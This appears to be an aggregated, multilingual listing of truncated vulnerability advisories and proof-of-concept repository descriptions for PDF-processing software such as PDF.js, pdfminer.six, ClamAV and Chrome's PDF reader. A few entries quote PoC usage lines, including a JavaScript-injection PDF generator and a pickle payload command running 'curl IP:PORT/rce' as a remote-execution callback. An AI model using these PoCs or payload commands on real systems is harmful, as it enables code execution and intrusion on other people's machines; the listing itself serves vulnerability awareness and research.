CVE-2024-4367

CVE-2024-4367 PoC Utilizzo root@kitploit: python poc.py mal.pdf "alert'0x2r2'" Riferimenti CVE-2024-4367: Esecuzione JS arbitraria in PDF.js PDF.js PoC Scanner templates...

CVE-2025-64512

CVE-2025-64512 Esecuzione arbitraria di codice in pdfminer.six tramite input PDF appositamente creato PoC basato su https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp % python3 mkpickle.py Usage: mkpickle.py output Ex: mkpickle.py 'curl IP:PORT/rce' evil.pickle.gz %...

CVE-2024-4367-hands-on

!IMPORTANT Questo repository è pensato per apprendere le vulnerabilità. Questo hands-on deve essere eseguito esclusivamente su un computer adeguato di tua proprietà. Non compiere mai azioni illegali. Inoltre, l'autore non si assume alcuna responsabilità per eventuali danni derivanti dall'uso di...

CVE-2017-10952

CVE-2017-10952 Questo è un esempio di alto livello di un attacco di esecuzione di codice locale su Foxit PDF Reader. I dettagli di questo attacco possono essere trovati qui 1. Ho copiato e incollato la descrizione testuale di questa vulnerabilità collegata in 1 qui per preservare la descrizione n...

CVE-2024-4367-POC

CVE-2024-4367 POC Verwendung root@kitploit: python poc.py malicious.pdf "alert'S4vvy'" Referenzen CVE-2024-4367: Beliebige JS-Ausführung in PDF.js PDF.js...

cve-2024-4367-poc

CVE-2024-4367 POC per PDF.js POC per la vulnerabilità CVE-2024-4367 di PDF.js - Lo script pdf-modify.py può essere utilizzato per modificare i tuoi PDF e iniettare payload. Utilizzo 1. Assicurati che CVE-2024-4367-POC-base-placeholder.pdf sia nella directory di lavoro. 2. Decommenta/modifica la...

CVE-2025-64512

CVE-2025-64512 – pdfminer.six-Deserialisierungs-PoC Übersicht Dieser Proof-of-Concept demonstriert eine Schwachstelle in pdfminer.six CVE-2025-64512, die zur Ausführung beliebiger Befehle führen kann, wenn eine schädliche PDF-Datei verarbeitet wird. Der Exploit verwendet eine präparierte PDF-Date...

CVE-2025-20260-POC

CVE-2025-20260 EXPLOIT Dies ist ein Proof-of-Concept für CVE-2025-20260. Es handelt sich um eine Sicherheitslücke in den PDF-Scan-Prozessen der ClamAV-Software. Durch das Senden einer speziell präparierten, schädlichen PDF-Datei kann ein Pufferüberlauf verursacht werden, der zu einem...

CVE-2015-3073

CVE-2015-3073 Diese Schwachstelle ermöglicht es Remote-Angreifern, API-Beschränkungen bei verwundbaren Installationen von Adobe Reader zu umgehen. Für die Ausnutzung dieser Schwachstelle ist eine Benutzerinteraktion erforderlich, da das Ziel eine bösartige Seite besuchen oder eine bösartige Datei...

CVE-2026-46529

RCE tramite iniezione di argv in PDF CVE-2026-46529 atril/xreader/evince Proof-of-concept funzionante per l'iniezione di argv in evspawn shell/ev-application.c. Un singolo clic in qualsiasi punto della pagina renderizzata di un PDF appositamente creato innesca l'esecuzione arbitraria di codice co...

CVE-2026-79119

Use after free in PDF in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted PDF file. Chromium security severity: Low...

CVE-2019-13288

CVE-2019-13288 – Xpdf के Parser::getObj में अनंत पुनरावृत्ति अवलोकन CVE-2019-13288 एक भेद्यता है जो Xpdf संस्करण 4.01.01 में, विशेष रूप से Parser.cc में Parser::getObj फ़ंक्शन के भीतर पहचानी गई है। यह दोष एक विशेष रूप से तैयार की गई PDF फ़ाइल को संसाधित करते समय अनंत पुनरावृत्ति का कारण बन सकता ह...

CVE-2025-64512

CVE-2025-64512 — Unsichere Deserialisierung Pickle in pdfminer.six über präparierte PDFs ⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests gedacht. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche...

pdfjs-vuln-demo

Progetto Demo della Vulnerabilità PDF.js Questo progetto ha lo scopo di fungere da proof of concept per dimostrare lo sfruttamento della vulnerabilità nella libreria PDF.js pdfjs-dist segnalata in CVE-2024-4367 Per iniziare Fai il fork e clona questo repository npm install npm run dev Per testare...

Astra Linux – Vulnerability in Chromium

A heap buffer overflow in PDFium in Google Chrome prior to version 147.0.7727.101 allowed a remote attacker to execute arbitrary code within a sandbox through a crafted PDF file. Chromium security severity: High...

Linux Distros Unpatched Vulnerability : CVE-2026-20346

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A vulnerability in the PDF file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded...

UBUNTU-CVE-2026-71870

pypdf is a free and open-source pure-python PDF library. Prior to 6.15.0, a crafted PDF can cause large memory consumption when pypdf/cmap.py function parsebfrange parses unusually large source-code or destination-string tokens in a font /ToUnicode CMap during text extraction. This issue is fixed...

CVE-2026-20346

A vulnerability in the PDF file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in PDF file...

Cross-site Scripting (XSS)

Overview org.webjars.npm:pdfjs-dist is a Portable Document Format PDF library that is built with HTML5. Affected versions of this package are vulnerable to Cross-site Scripting XSS via the enableScripting configuration when loading a crafted PDF file. An attacker can execute arbitrary JavaScript...

Cross-site Scripting (XSS)

Overview pdfjs-dist is a Portable Document Format PDF library that is built with HTML5. Affected versions of this package are vulnerable to Cross-site Scripting XSS via the enableScripting configuration when loading a crafted PDF file. An attacker can execute arbitrary JavaScript code in the...